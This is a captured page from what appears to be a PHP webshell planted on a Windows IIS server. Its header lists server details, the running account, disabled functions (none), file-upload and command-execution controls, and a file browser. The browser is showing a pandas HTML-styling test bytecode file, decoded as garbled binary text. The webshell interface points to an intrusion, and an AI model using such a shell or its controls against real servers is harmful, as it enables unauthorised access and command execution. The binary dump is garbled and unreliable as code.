403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/tests/io/formats/style/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/tests/io/formats/style/__pycache__/test_html.cpython-312.pyc
�

0	�g�����ddlmZmZddlZddlZddlmZmZm	Z	ejd�Zddlm
Z
ejd��Zejd��Zejd��Zejd	��Zejd
��Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!ejDjGdddg�ejDjGdddg�ejDjGdddg�d����Z$ejDjGdddg�ejDjGdddg�d���Z%ejDjGdddg�ejDjGdddg�ejDjGd d!gd"gd"g�d#����Z&d$�Z'ejDjGd%gd&��d'��Z(ejDjGdddg�ejDjGdddg�d(���Z)ejDjGd)ddg�ejDjGd*ddg�d+���Z*d,�Z+d-�Z,d.�Z-d/�Z.d0�Z/d1�Z0ejDjGd2d3dg�ejDjGd4gd5��d6���Z1d7�Z2d8�Z3d9�Z4d:�Z5d;�Z6d<�Z7y)=�)�dedent�indentN)�	DataFrame�
MultiIndex�option_context�jinja2)�Stylerc�`�tjdd�}tj|d��}|S)N�pandaszio/formats/templatesT)�loader�trim_blocks)r�
PackageLoader�Environment)r�envs  �IC:\Python312\Lib\site-packages\pandas/tests/io/formats/style/test_html.pyrrs/��
�
!�
!�(�,B�
C�F�
�
�
�F��
�
=�C��J�c�>�ttdgdggddgdg���S)N��z�G�@��Q��@�a�b�A��index�columns)r	r�rr�stylerrs%���)�d�V�d�V�,�S�#�J���N�O�Orc��tjddgddgg�}ttt	j
d�j
dd�||���S)Nrr�c�d��r)r�from_productr	r�np�arange�reshape)�midxs r�	styler_mir(sH���"�"�S�#�J��c�
�#;�<�D��)�B�I�I�b�M�1�1�!�Q�7�t�T�R�S�Src�$�|jd�S)Nzhtml_style.tpl��get_template�rs r�	tpl_styler-%������,�-�-rc�$�|jd�S)Nzhtml_table.tplr*r,s r�	tpl_tabler0*r.rc��tdd��5}|j�}ddd�dvsJ�d|vsJ�y#1swY�xYw)Nz$pandas/io/formats/templates/html.tplzutf-8)�encodingz{% include html_style_tpl %}z{% include html_table_tpl %})�open�read)�file�results  r�"test_html_template_extends_optionsr7/sM��
�4�w�	G��4�������)�V�3�3�3�)�V�3�3�3���s�4�=c�N�|jdd��}td�}||k(sJ�y)NT)�exclude_styles�doctype_htmla        <!DOCTYPE html>
        <html>
        <head>
        <meta charset="utf-8">
        </head>
        <body>
        <table>
          <thead>
            <tr>
              <th >&nbsp;</th>
              <th >A</th>
            </tr>
          </thead>
          <tbody>
            <tr>
              <th >a</th>
              <td >2.610000</td>
            </tr>
            <tr>
              <th >b</th>
              <td >2.690000</td>
            </tr>
          </tbody>
        </table>
        </body>
        </html>
        )�to_htmlr�rr6�expecteds   r�test_exclude_stylesr>8s3��
�^�^�4�d�^�
C�F��	��H�<�X���rc�B�|jd�jddd�g�jd��jd�j	tdgdgd	g�
��j
d�jd�td
�}||j�k(sJ�y)N��thzatt2:v2;��selector�propsc��y)Nzatt1:v1;r)�xs r�<lambda>z%test_w3_html_format.<locals>.<lambda>]��rz!class="my-cls1" style="attr3:v3;"zmy-cls2rrrz{:.1f}zA comprehensive testa�        <style type="text/css">
        #T_ th {
          att2: v2;
        }
        #T__row0_col0, #T__row1_col0 {
          att1: v1;
        }
        </style>
        <table id="T_" class="my-cls1" style="attr3:v3;">
          <caption>A comprehensive test</caption>
          <thead>
            <tr>
              <th class="blank level0" >&nbsp;</th>
              <th id="T__level0_col0" class="col_heading level0 col0" >A</th>
            </tr>
          </thead>
          <tbody>
            <tr>
              <th id="T__level0_row0" class="row_heading level0 row0" >a</th>
              <td id="T__row0_col0" class="data row0 col0 my-cls2" >2.6</td>
            </tr>
            <tr>
              <th id="T__level0_row1" class="row_heading level0 row1" >b</th>
              <td id="T__row1_col0" class="data row1 col0" >2.7</td>
            </tr>
          </tbody>
        </table>
        )
�set_uuid�set_table_styles�map�set_table_attributes�set_td_classesr�format�set_captionrr;)rr=s  r�test_w3_html_formatrP[s���
�O�O�B��(�(�t�j�*Q�)R�S�W�W�����>�?����9�+�c�U�S�E�:�A��f����k����	��H�>�v�~�~�'�'�'�'rc�t�tddggddgddgg��}t|dd�	�}d
|j�vsJ�y)N���l0�l1a�l1b)�datar�_F��uuid�cell_idsz7<th class="col_heading level0 col0" colspan="2">l0</th>�rr	r;��dfrs  r�test_colspan_w3r_�sD��	�!�Q���D�$�<�%���*H�	I�B�
�B�S�5�
1�F�D����HX�X�X�Xrc�t�tddggddgddgg��}t|dd�	�}d
|j�vsJ�y)NrRrSrTrUrV)rWrrXFrYz7<th class="row_heading level0 row0" rowspan="2">l0</th>r\r]s  r�test_rowspan_w3ra�sD��	�!�Q���$����u�~�(F�	G�B�
�B�S�5�
1�F�D����HX�X�X�Xrc��|jd�|jddd�g�|jd��}td�}||k(sJ�y)N�abc�td�color: red;rBT�r:a�        <!DOCTYPE html>
        <html>
        <head>
        <meta charset="utf-8">
        <style type="text/css">
        #T_abc td {
          color: red;
        }
        </style>
        </head>
        <body>
        <table id="T_abc">
          <thead>
            <tr>
              <th class="blank level0" >&nbsp;</th>
              <th id="T_abc_level0_col0" class="col_heading level0 col0" >A</th>
            </tr>
          </thead>
          <tbody>
            <tr>
              <th id="T_abc_level0_row0" class="row_heading level0 row0" >a</th>
              <td id="T_abc_row0_col0" class="data row0 col0" >2.610000</td>
            </tr>
            <tr>
              <th id="T_abc_level0_row1" class="row_heading level0 row1" >b</th>
              <td id="T_abc_row1_col0" class="data row1 col0" >2.690000</td>
            </tr>
          </tbody>
        </table>
        </body>
        </html>
        )rIrJr;rr<s   r�test_stylesrg�sT��
�O�O�E��
���$��G�H�I�
�^�^��^�
.�F�� 	�"�H�F�X���rc�X�|jd��}d|vsJ�d|vsJ�d|vsJ�d|vsJ�y)NFrfz<html>z<body>z<!DOCTYPE html>z<head>�r;�rr6s  r�test_doctyperk�sJ��
�^�^��^�
/�F��6�!�!�!��6�!�!�!��F�*�*�*��6�!�!�!rc��tdd�5|jd��}d|vsJ�|jdd��}d|vsJ�	ddd�y#1swYyxYw)	Nzstyler.render.encoding�ASCIITrfz<meta charset="ASCII">�ANSI)r:r2z<meta charset="ANSI">)rr;rjs  r�test_doctype_encodingro�s`��	�0�'�	:�1����T��2��'�6�1�1�1����T�F��C��&�&�0�0�0�	1�1�1�s�2A	�	Ac�`�|jd��}d|vsJ�|j�}d|vsJ�y)NT)�bold_headerszth {
  font-weight: bold;
}rirjs  r�test_bold_headers_argrr�s:��
�^�^��^�
.�F�*�f�4�4�4�
�^�^�
�F�*�&�8�8�8rc�`�|jd��}d|vsJ�|j�}d|vsJ�y)Nzfoo bar)�captionz<caption>foo bar</caption>rirjs  r�test_caption_argru�s:��
�^�^�I�^�
.�F�'�6�1�1�1�
�^�^�
�F�'�v�5�5�5rc��hd�}hd�}t|j�}||k(sJ�t|j�}||k(sJ�y)N>�style�	cellstyle�before_style�table_styles�before_cellstyle>�tr�table�tbody�theadrt�head_tr�
after_rows�after_table�before_rows�before_table�after_head_rows�before_head_rows)�set�blocks)r-r0�expected_style�expected_table�result1�result2s      r�test_block_namesr��sN���N�
�N��)�"�"�#�G��n�$�$�$��)�"�"�#�G��n�$�$�$rc���|jd�jd�}|jtd��t	j
t
|jd��d�}t|t�sJ�|jtjusJ�|jtjusJ�|tdddgi��}d|jd�	�vsJ�y)
N�tplzmyhtml_table.tplz�            {% extends "html_table.tpl" %}
            {% block table %}
            <h1>{{custom_title}}</h1>
            {{ super() }}
            {% endblock table %}rrRrSz<h1>My Title</h1>


<tablezMy Title)�custom_title)�mkdir�join�writerr	�from_custom_template�str�
issubclassr�template_html_tablerr;��tmpdir�pr6rs    r�test_from_custom_template_tabler��s������U�� � �!3�4�A��G�G��
$�	
�	��
(�
(��V�[�[��-?�)@�BT�
U�F��f�f�%�%�%��:�:�V�Z�Z�'�'�'��%�%�V�-G�-G�G�G�G�
�I�s�Q��F�m�,�
-�F�*�f�n�n�*�n�.U�U�U�Urc���|jd�jd�}|jtd��t	j
t
|jd��d��}t|t�sJ�|jtjusJ�|jtjusJ�|tdddgi��}d|j�vsJ�y)	Nr�zmyhtml_style.tplz�            {% extends "html_style.tpl" %}
            {% block style %}
            <link rel="stylesheet" href="mystyle.css">
            {{ super() }}
            {% endblock style %})�
html_stylerrRrSz2<link rel="stylesheet" href="mystyle.css">

<style)r�r�r�rr	r�r�r�r�template_html_stylerr;r�s    r�test_from_custom_template_styler�s������U�� � �!3�4�A��G�G��
$�	
�	��
(�
(��F�K�K����,>��F��f�f�%�%�%��:�:�V�Z�Z�'�'�'��%�%�V�-G�-G�G�G�G�
�I�s�Q��F�m�,�
-�F�A�V�^�^�EU�U�U�Urc�N�|jd�d|j�vsJ�y)N)zfull capz	short capz<caption>full cap</caption>)rOr;�rs r�test_caption_as_sequencer�%s&��
���0�1�(�F�N�N�,<�<�<�<rrFTr�
index_namec���|rd|j_|r|jd��|r|jd��d}d}|jd�j	�}|jdd	�|v|usJ�|jd
d�|v|usJ�|jdd
dd�|v|xr|usJ�|jdddd�|v|xr|usJ�|jdd
dd�|v|xr|usJ�y)Nz	some textr��axisrRz[#T_ {0} {{
  position: sticky;
  background-color: inherit;
  left: 0px;
  z-index: {1};
}}z_#T_ {0} {{
  position: sticky;
  background-color: inherit;
  top: {1}px;
  z-index: {2};
{3}}}r@�thead tr th:nth-child(1)�3 !importantztbody tr th:nth-child(1)�1�thead tr:nth-child(1) th�0�2z  height: 25px;
�thead tr:nth-child(2) th�25)r�name�
set_stickyrIr;rN)rrrr��left_css�top_css�ress       r�test_sticky_basicr�*sD���'���������q��!�����q��!�	,�
�
	0��
�/�/�"�
�
%�
%�
'�C�
�O�O�6��G�3�N�SX�X�X�X��O�O�6��<��C��M�M�M�	���1�3��=P�Q�UX�X�
�
 �j�"�"�"�	���1�4��>Q�R��	�
�
 �j�"�"�"�
�N�N�5�s�C��D��K��"�
�N���rc���|r|jd��|r|jd��d}d}|jd�j�}|jddd	�|v|usJ�|jd
dd�|v|usJ�|jdd
d	�|v|usJ�|jdd
d�|v|usJ�|jddd�|v|usJ�|jddd�|v|usJ�y)Nrr�rR��#T_ {0} {{
  position: sticky;
  background-color: inherit;
  left: {1}px;
  min-width: 75px;
  max-width: 75px;
  z-index: {2};
}}�l#T_ {0} {{
  position: sticky;
  background-color: inherit;
  top: {1}px;
  height: 25px;
  z-index: {2};
}}r@r�r�r�ztbody tr th.level0r��thead tr th:nth-child(2)�75�tbody tr th.level1r�r�r�r�)r�rIr;rN)r(rrr�r�r�s      r�test_sticky_mir�Qs8��
����!��$�����!��$�	V�
�
	>��
�
�
�R�
 �
(�
(�
*�C�	���2�C��H�C�O�	����
�O�O�0�#�s�;�s�B�u�L�L�L����2�D�.�I�S�P�	����
�O�O�0�$��<��C��M�M�M�
�N�N�5�s�C�@�C�G�G�S�S�S��N�N�5�t�S�A�S�H�W�T�T�Tr�levelsrR�onec��ddgddgc|j_|j_|r|jd|��|r|jd|��d}d}|j	d�j�}d	|vsJ�d
|vsJ�d|vsJ�|j
dd
d�|v|usJ�|j
dd
d�|v|usJ�|j
dd
d�|v|usJ�y)N�zeror�r)r�r�rRr�r�r@z#T_ thead tr th:nth-child(1)z#T_ tbody tr th.level0z#T_ thead tr:nth-child(1) thr�r�r�r�r�r�r�)r�namesrr�rIr;rN)r(rrr�r�r�r�s       r�test_sticky_levelsr�ss��7=�e�_�v�u�o�2�I�O�O��9�,�,�2�����!�F��3�����!�F��3�	V�
�
	>��
�
�
�R�
 �
(�
(�
*�C�*��4�4�4�#�3�.�.�.�)��4�4�4�	���2�C��H�C�O�	����
�O�O�0�#�s�;�s�B�u�L�L�L��N�N�5�s�C�@�C�G�G�S�S�Src��tjtd��5|jd��ddd�y#1swYyxYw)Nz+No axis named bad for object type DataFrame)�match�badr�)�pytest�raises�
ValueErrorr�r�s r�test_sticky_raisesr��s7��	���z�)V�	W�&����u��%�&�&�&�s	�8�Azsparse_index, sparse_columns))TT)TF)FT)FFc�|�tjgd��}tjgd��}tgd�gd�gd�g||��}|j}|j	�}td|d|�5|j	�}||k(|xr|usJ�	ddd�|j	||�	�}|k(sJ�y#1swY�$xYw)
N))�Zr)r�r)�Yr))rr)rr)�Br�rRrS�)r"��)���	rzstyler.sparse.indexzstyler.sparse.columns)�sparse_index�sparse_columns)r�from_tuplesrrwr;r)	r�r��cidx�ridxr^r�default_html�html1�html2s	         r�test_sparse_optionsr��s���
�!�!�"F�G�D��!�!�"F�G�D�	�I�y�)�4�D�$�	O�B�
�X�X�F��>�>�#�L�	��|�-D�n�
�L���� ����%�<�+J�N�K�K�K�	L�

�N�N��^�N�T�E��E�>��>�
L�L�s�0B2�2B;c��d�}d\|_|_|r|j|d��|r|j|d��|j�}d|vsJ�d|vsJ�d|v|usJ�d	|v|usJ�d
|v|usJ�d|v|usJ�d|v|usJ�y)
Nc��y)Nz
attr: val;r��vs rrGz*test_map_header_cell_ids.<locals>.<lambda>�rHr)r@Frr�rz)<td class="data row0 col0" >2.610000</td>z)<td class="data row1 col0" >2.690000</td>z?<th id="T__level0_row0" class="row_heading level0 row0" >a</th>z?<th id="T__level0_row1" class="row_heading level0 row1" >b</th>z1#T__level0_row0, #T__level0_row1 {
  attr: val;
}z?<th id="T__level0_col0" class="col_heading level0 col0" >A</th>z #T__level0_col0 {
  attr: val;
})rZr[�	map_indexr;)rrr�funcr6s     r�test_map_header_cell_idsr��s���"�D�#,� �F�K��������G��,������I��.�
�^�^�
�F�7�&�@�@�@�6�&�@�@�@�	J�V�S�	����	J�V�S�	����
B�V�K�PU�U�U�U�	J�V�S�	����
1�F�:�w�F�F�Fr�rows�colsc�f�|j|rdnd|rdnd��}d|vsJ�d|v|usJ�d|v|usJ�y)NrS)�max_rows�max_columnsz>5</td>z>8</td>z>2</td>ri)r(r�r�r6s    r�
test_maximumsr��s]���
�
�����A�4���F�
���������,�,�,�����,�,�,rc�D�dddddddd�}tjd	d
gddgg�}ttt	j
d
�j
dd�||��d��j|��}ddg|j_	|j|jddd��|j|jddd��|jd�d��|jd�d��|jd��td�}|j�}||k(sJ�y)N�ROWHEAD�IDXNAME�ROW�ROWTRIM�LEVEL�DATA�BLANK)�row_headingr��row�row_trim�levelrW�blankrrrr r!r"rr��uuid_len)�css_class_names�n1�n2rRr�c��y)Nrerr�s rrGz/test_replaced_css_class_names.<locals>.<lambda>�rHrc��y)Nz
color: green;rr�s rrGz/test_replaced_css_class_names.<locals>.<lambda>�rHrc��y�Nzcolor: blue;rr�s rrGz/test_replaced_css_class_names.<locals>.<lambda>�rHra8    <style type="text/css">
    #T__ROW0_col0 {
      color: blue;
    }
    #T__LEVEL0_ROW0, #T__LEVEL1_ROW0 {
      color: red;
    }
    #T__LEVEL0_col0, #T__LEVEL1_col0 {
      color: green;
    }
    </style>
    <table id="T_">
      <thead>
        <tr>
          <th class="BLANK" >&nbsp;</th>
          <th class="IDXNAME LEVEL0" >n1</th>
          <th id="T__LEVEL0_col0" class="col_heading LEVEL0 col0" >a</th>
        </tr>
        <tr>
          <th class="BLANK" >&nbsp;</th>
          <th class="IDXNAME LEVEL1" >n2</th>
          <th id="T__LEVEL1_col0" class="col_heading LEVEL1 col0" >c</th>
        </tr>
        <tr>
          <th class="IDXNAME LEVEL0" >n1</th>
          <th class="IDXNAME LEVEL1" >n2</th>
          <th class="BLANK col0" >&nbsp;</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <th id="T__LEVEL0_ROW0" class="ROWHEAD LEVEL0 ROW0" >a</th>
          <th id="T__LEVEL1_ROW0" class="ROWHEAD LEVEL1 ROW0" >c</th>
          <td id="T__ROW0_col0" class="DATA ROW0 col0" >0</td>
        </tr>
      </tbody>
    </table>
    )rr#r	rr$r%r&rJrr��hiderr�rKrr;)�cssr'r(r=r6s     r�test_replaced_css_class_namesr�s+�� ��������C��"�"�S�#�J��c�
�#;�<�D���"�)�)�B�-�'�'��1�-�T�4�H�����s��+��"�4�L�I�O�O��
�N�N�9�?�?�1�2�&�Q�N�/�
�N�N�9�$�$�Q�R�(�q�N�1�
���/�a��8�
���1���:�
�M�M�*�+��&	�(�H�R�
�
�
 �F��X���rc�$�|jd�jd��j|jjddd��j|jj
ddd��j
�}td�}||vsJ�y)Nr@c��yr�rr�s rrGzEtest_include_css_style_rules_only_for_visible_cells.<locals>.<lambda>&rHrrRrr�rzr        <style type="text/css">
        #T__row0_col0 {
          color: blue;
        }
        </style>
        )rIrKrrWrrr;r�r(r6�expected_styless   r�3test_include_css_style_rules_only_for_visible_cellsr"s���	���2��	��
%�	&�	
��i�n�n�$�$�Q�R�(�y��	9�	
��i�n�n�"�"�1�2�&�W��	5�	�����	��O��f�$�$�$rc�"�|jd�jd�d��j|jjd��j|jj
ddd��j
�}td�}||vsJ�y)Nr@c��yr�rr�s rrGzLtest_include_css_style_rules_only_for_visible_index_labels.<locals>.<lambda>;rHrrr�rrRz�        <style type="text/css">
        #T__level0_row0, #T__level1_row0 {
          color: blue;
        }
        </style>
        �rIr�rrWrrr;rrs   r�:test_include_css_style_rules_only_for_visible_index_labelsr7s���	���2��	��+�'��	:�	
��i�n�n�$�$�9��	5�	
��i�n�n�"�"�1�2�&�W��	5�	�����	��O��f�$�$�$rc�"�|jd�jd�d��j|jjddd��j|jj
d��j
�}td�}||vsJ�y)Nr@c��yr�rr�s rrGzMtest_include_css_style_rules_only_for_visible_column_labels.<locals>.<lambda>PrHrrr�rRrz�        <style type="text/css">
        #T__level0_col0, #T__level1_col0 {
          color: blue;
        }
        </style>
        r
rs   r�;test_include_css_style_rules_only_for_visible_column_labelsrLs���	���2��	��+�)��	<�	
��i�n�n�$�$�Q�R�(�y��	9�	
��i�n�n�"�"���	1�	�����	��O��f�$�$�$rc���tjddgdgddgggd���}tjdgd	d
gddgggd
���}ttjd�jdd�||��}t
|d��}|jdd��jdd��|jdgd��|jdgd��|j�}td�}||k(sJ�y)N�i0�j0�i1�i2�j2)zi-0zi-1zi-2)r��c0�c1�d1�c2�d2)zc-0zc-1zc-2r!r"rrr�rR)r�r�)rrrr�)rrra
    <style type="text/css">
    </style>
    <table id="T_">
      <thead>
        <tr>
          <th class="blank" >&nbsp;</th>
          <th class="index_name level1" >c-1</th>
          <th id="T__level1_col0" class="col_heading level1 col0" colspan="2">c1</th>
          <th id="T__level1_col2" class="col_heading level1 col2" >d1</th>
        </tr>
        <tr>
          <th class="blank" >&nbsp;</th>
          <th class="index_name level2" >c-2</th>
          <th id="T__level2_col0" class="col_heading level2 col0" >c2</th>
          <th id="T__level2_col1" class="col_heading level2 col1" >d2</th>
          <th id="T__level2_col2" class="col_heading level2 col2" >c2</th>
        </tr>
        <tr>
          <th class="index_name level0" >i-0</th>
          <th class="index_name level2" >i-2</th>
          <th class="blank col0" >&nbsp;</th>
          <th class="blank col1" >&nbsp;</th>
          <th class="blank col2" >&nbsp;</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <th id="T__level0_row0" class="row_heading level0 row0" rowspan="2">i0</th>
          <th id="T__level2_row0" class="row_heading level2 row0" >i2</th>
          <td id="T__row0_col0" class="data row0 col0" >0</td>
          <td id="T__row0_col1" class="data row0 col1" >1</td>
          <td id="T__row0_col2" class="data row0 col2" >2</td>
        </tr>
        <tr>
          <th id="T__level2_row1" class="row_heading level2 row1" >j2</th>
          <td id="T__row1_col0" class="data row1 col0" >4</td>
          <td id="T__row1_col1" class="data row1 col1" >5</td>
          <td id="T__row1_col2" class="data row1 col2" >6</td>
        </tr>
        <tr>
          <th id="T__level0_row2" class="row_heading level0 row2" >j0</th>
          <th id="T__level2_row2" class="row_heading level2 row2" >i2</th>
          <td id="T__row2_col0" class="data row2 col0" >8</td>
          <td id="T__row2_col1" class="data row2 col1" >9</td>
          <td id="T__row2_col2" class="data row2 col2" >10</td>
        </tr>
      </tbody>
    </table>
    )
rr#rr$r%r&r	rr;r)r'r�r^rr6r=s      r�.test_hiding_index_columns_multiindex_alignmentras����"�"�
����v��d�|�,�4I��D��"�"�
��$����d�|�,�4I��D�
�2�9�9�R�=�(�(��A�.�d�D�	I�B�
�B��
#�F�
�K�K�a�a�K� �%�%�A�A�%�6�
�K�K�#�$�1�K�-�
�K�K�#�$�1�K�-�
�^�^�
�F��1	�3�H�h�X���rc�$�ttjd�jdd��}t	j
gd�ddgg�|_t	j
gd�ddgg�|_ddgdd	gc|j_|j_t|d
d��}|jgd�d�
�jgd�d�
�tdddd�5|j�}ddd�td�}|k(sJ�y#1swY�xYw)N�@r�)rrRrSr�rrRrrrr F)r[r�))rr)rrR)rRrr�zstyler.render.max_rowsr"zstyler.render.max_columnsa�    <style type="text/css">
    </style>
    <table id="T_">
      <thead>
        <tr>
          <th class="blank" >&nbsp;</th>
          <th class="index_name level0" >c</th>
          <th class="col_heading level0 col3" >1</th>
          <th class="col_heading level0 col4" colspan="2">2</th>
          <th class="col_heading level0 col6" >3</th>
        </tr>
        <tr>
          <th class="blank" >&nbsp;</th>
          <th class="index_name level1" >d</th>
          <th class="col_heading level1 col3" >1</th>
          <th class="col_heading level1 col4" >0</th>
          <th class="col_heading level1 col5" >1</th>
          <th class="col_heading level1 col6" >0</th>
          <th class="col_heading level1 col_trim" >...</th>
        </tr>
        <tr>
          <th class="index_name level0" >a</th>
          <th class="index_name level1" >b</th>
          <th class="blank col3" >&nbsp;</th>
          <th class="blank col4" >&nbsp;</th>
          <th class="blank col5" >&nbsp;</th>
          <th class="blank col6" >&nbsp;</th>
          <th class="blank col7 col_trim" >&nbsp;</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <th class="row_heading level0 row3" >1</th>
          <th class="row_heading level1 row3" >1</th>
          <td class="data row3 col3" >27</td>
          <td class="data row3 col4" >28</td>
          <td class="data row3 col5" >29</td>
          <td class="data row3 col6" >30</td>
          <td class="data row3 col_trim" >...</td>
        </tr>
        <tr>
          <th class="row_heading level0 row4" rowspan="2">2</th>
          <th class="row_heading level1 row4" >0</th>
          <td class="data row4 col3" >35</td>
          <td class="data row4 col4" >36</td>
          <td class="data row4 col5" >37</td>
          <td class="data row4 col6" >38</td>
          <td class="data row4 col_trim" >...</td>
        </tr>
        <tr>
          <th class="row_heading level1 row5" >1</th>
          <td class="data row5 col3" >43</td>
          <td class="data row5 col4" >44</td>
          <td class="data row5 col5" >45</td>
          <td class="data row5 col6" >46</td>
          <td class="data row5 col_trim" >...</td>
        </tr>
        <tr>
          <th class="row_heading level0 row6" >3</th>
          <th class="row_heading level1 row6" >0</th>
          <td class="data row6 col3" >51</td>
          <td class="data row6 col4" >52</td>
          <td class="data row6 col5" >53</td>
          <td class="data row6 col6" >54</td>
          <td class="data row6 col_trim" >...</td>
        </tr>
        <tr>
          <th class="row_heading level0 row_trim" >...</th>
          <th class="row_heading level1 row_trim" >...</th>
          <td class="data col3 row_trim" >...</td>
          <td class="data col4 row_trim" >...</td>
          <td class="data col5 row_trim" >...</td>
          <td class="data col6 row_trim" >...</td>
          <td class="data row_trim col_trim" >...</td>
        </tr>
      </tbody>
    </table>
    )rr$r%r&rr#rrr�r	rrr;r)r^rr6r=s    r�-test_hiding_index_columns_multiindex_trimmingr�s��	�2�9�9�R�=�(�(��A�.�	/�B��(�(�,��A��)?�@�B�J��&�&��q�!�f�'=�>�B�H�(+�S�z�C��:�$�B�H�H�N�B�J�J�$�
�B���
3�F�
�K�K�(�q�K�1�6�6�7O�VW�6�X�	�0�!�5P�RS�	T�"����!��"��N	�P�H�d�X����k"�"�s�D�D�typerWztext, exp, found))zno link, just textFr@)zsubdomain not www: sub.web.comFr@)z www subdomain: www.web.com otherTzwww.web.com)z)scheme full structure: http://www.web.comTzhttp://www.web.com)z#scheme no top-level: http://www.webTzhttp://www.web)z no scheme, no top-level: www.webFzwww.web)z!https scheme: https://www.web.comTzhttps://www.web.com)zftp scheme: ftp://www.webTz
ftp://www.web)zftps scheme: ftps://www.webTzftps://www.web)z%subdirectories: www.web.com/directoryTzwww.web.com/directory)zMultiple domains: www.1.2.3.4Tzwww.1.2.3.4)zwith port: http://web.com:80Tzhttp://web.com:80)z-full net_loc scheme: http://user:pass@web.comTzhttp://user:pass@web.com)z8with valid special chars: http://web.com/,.':;~!@#$*()[]Tzhttp://web.com/,.':;~!@#$*()[]c��|dk(r)t|g�}|jjd��}n+tdg|g��}|jjd��}d|�d|�d�}|j	�}||v|usJ�||v|usJ�y)	NrW�html��
hyperlinksr)rz	<a href="z" target="_blank">z</a>)rrwrN�format_indexr;)r�text�exp�foundr^r�renderedr6s        r�test_rendered_linksr(s���:�v�~�
��v�
�������F��3��
��s�4�&�
)�����&�&�&�&�9���5�'�!3�E�7�$�?�H�
�^�^�
�F����3�&�&�&��F�N�3�&�&�&rc���d}tdj|�g�}|jjd��j�}d}|D]}|j|�|vr�J�|jd�|vsJ�y)N)zwww.a.bz
http://a.czhttps://a.dz	ftp://a.eztext {} {} text {} {}r r!z%<a href="{0}" target="_blank">{0}</a>r$)rrNrwr;)�linksr^r6�href�links     r�test_multiple_rendered_linksr-0s���A�E�	�2�+�2�2�E�:�;�	<�B�
�X�X�_�_��_�
/�
7�
7�
9�F�2�D��+���{�{�4� �F�*�*�*�+��;�;�v��f�,�,�,rc��|jjdg�j}|j|�j	d�|j�}d}t
d|�d|�d|�d|�d|�d	|�d
�
�}||vsJ�y)N�mean�X�foot0_��    <tr>
      <th id="T_X_level0_row1" class="row_heading level0 row1" >b</th>
      <td id="T_X_row1_col0" class="data row1 col0" >2.690000</td>
    </tr>
    <tr>
      <th id="T_X_level0_�
row0" class="�row_heading level0 �#row0" >mean</th>
      <td id="T_X_�row0_col0" class="�data z<row0 col0" >2.650000</td>
    </tr>
  </tbody>
</table>
    )rW�aggrw�concatrIr;r)r�otherr6�fpr=s     r�test_concatr<;s����K�K�O�O�V�H�%�+�+�E�
�M�M�%��!�!�#�&�
�^�^�
�F�	�B��
���]�2�$�.A�"��F��$�(���E�"��6�	�
�H��v���rc��|j}|}t|jdg�d��}t|jdg�d��}|j|j|��j	d�|j�}d}d}t
d|�d	|�d
|�d|�d|�d
|�d|�d	|�d
|�d|�d|�d
|�d��}||vsJ�y)Nr/r���	precisionr"r0r1�foot0_foot0_r2r3r4r5r6r7�Crow0 col0" >2.650</td>
    </tr>
    <tr>
      <th id="T_X_level0_�:row0 col0" >2.6500</td>
    </tr>
  </tbody>
</table>
    �rWr	r8r9rIr;r�	rr^�styler1�styler2�styler3r6�fp1�fp2r=s	         r�test_concat_recursionrJQs���	���B��G��R�V�V�V�H�%��3�G��R�V�V�V�H�%��3�G��N�N�7�>�>�'�*�+�4�4�S�9�
�^�^�
�F��C�
�C��
���m�C�5�0C�C�5�I��%�)�#��e�C�5�9���m�C�5�0C�C�5�I��%�)�#��e�C�5�9�	��H�$�v���rc��|j}|}t|jdg�d��}t|jdg�d��}|j|�j|�j	d�|j�}d}d}t
d|�d	|�d
|�d|�d|�d
|�d|�d	|�d
|�d|�d|�d
|�d��}||vsJ�y)Nr/r�r>r"r0r1�foot1_r2r3r4r5r6r7rArBrCrDs	         r�test_concat_chainrMqs���	���B��G��R�V�V�V�H�%��3�G��R�V�V�V�H�%��3�G��N�N�7��"�"�7�+�4�4�S�9�
�^�^�
�F�
�C�
�C��
���m�C�5�0C�C�5�I��%�)�#��e�C�5�9���m�C�5�0C�C�5�I��%�)�#��e�C�5�9�	��H�$�v���rc�Z�dtfd�}tdgdggddgdg��}|jjd	�
�}|jjd�
�}|jjd�
�}|jjd
�
�}|j	|�j	|j	|��jd�j
�}td�}td�|d�z|d�z|d�z|d�ztd�z}||z|k(sJ�y)N�foot_prefixc��|jd�s|dk(sJ�|}ttd|�d|�d|�d|�d|�d|�d	|�d
|�d|�d|�d|�d|�d
��d��S)NrXr@z*        <tr>
          <th id="T_X_level0_r3r4z$row0" >a</th>
          <td id="T_X_r6r7zRrow0 col0" >2.610000</td>
        </tr>
        <tr>
          <th id="T_X_level0_z
row1" class="z$row1" >b</th>
          <td id="T_X_zrow1_col0" class="z0row1 col0" >2.690000</td>
        </tr>
        z    )�prefix)�endswithrr)rOr;s  r�
html_linesz(test_concat_combined.<locals>.html_lines�s����#�#�C�(�K�2�,=�=�=�
����� �T��r�d�2E�b�T�J��d�,�R�D��b�T�:�!�T��r�d�2E�b�T�J��d�,�R�D��b�T�:	�	�
��
�	
rrrrrrr�red)�color�green�blue�yellowr0ag        <style type="text/css">
        #T_X_row1_col0 {
          background-color: red;
        }
        #T_X_foot0_row1_col0 {
          background-color: green;
        }
        #T_X_foot1_row1_col0 {
          background-color: blue;
        }
        #T_X_foot1_foot0_row1_col0 {
          background-color: yellow;
        }
        </style>
        a"            <table id="T_X">
              <thead>
                <tr>
                  <th class="blank level0" >&nbsp;</th>
                  <th id="T_X_level0_col0" class="col_heading level0 col0" >A</th>
                </tr>
              </thead>
              <tbody>
            r@r1rL�foot1_foot0_z8              </tbody>
            </table>
            )r�rrw�
highlight_maxr9rIr;r)	rSr^�s1�s2�s3�s4r6�expected_cssr�s	         r�test_concat_combinedr`�sD��
��
�&
�T�F�T�F�#�C��:��u�	E�B�	���	�	�e�	�	,�B�	���	�	�g�	�	.�B�	���	�	�f�	�	-�B�	���	�	�h�	�	/�B�
